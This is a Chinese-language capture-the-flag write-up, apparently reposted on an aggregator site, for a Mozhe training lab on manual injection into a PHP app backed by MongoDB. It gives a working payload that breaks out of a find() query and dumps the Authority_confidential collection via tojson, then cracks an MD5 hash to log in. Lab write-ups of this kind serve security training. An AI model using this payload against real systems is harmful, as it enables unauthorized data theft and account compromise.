栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

墨者SQL手工注入漏洞测试(MongoDB数据库)题解

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

墨者SQL手工注入漏洞测试(MongoDB数据库)题解

题目的环境是Nginx+PHP+MongoDB。并且给了如下代码

在题目的考察知识点方面,说到了MD5值。
首先我们来打开链接,发现是用户登录界面(如果不是请稍等一会),然后和往常一样,点击那个通知,发现id的信息

我们读一下代码,在query这个部分,把id插入后,直接返回了查询的data。
用户输入的id的值没有经过任何转义就直接插入数据库中执行,在这个地方我们可以将id的值为

1'});

这样查询语句就变成了

db.notice.find({'id':'1'})'})

能看出后面的部分被过滤了,那么如果修改为以下部分

id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),2: 1

组装后的语句为

db.notice.find({'id':'1'}); return ({title:tojson(db.Authority_confidential.find()[1]),2: 1'})

find函数的作用是查出所有数据,tojson是转换为json格式,这样就能查出所有Authority_confidential库中的数据了,效果如下

解一下md5值,然后登录进去,拿到key

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/733667.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号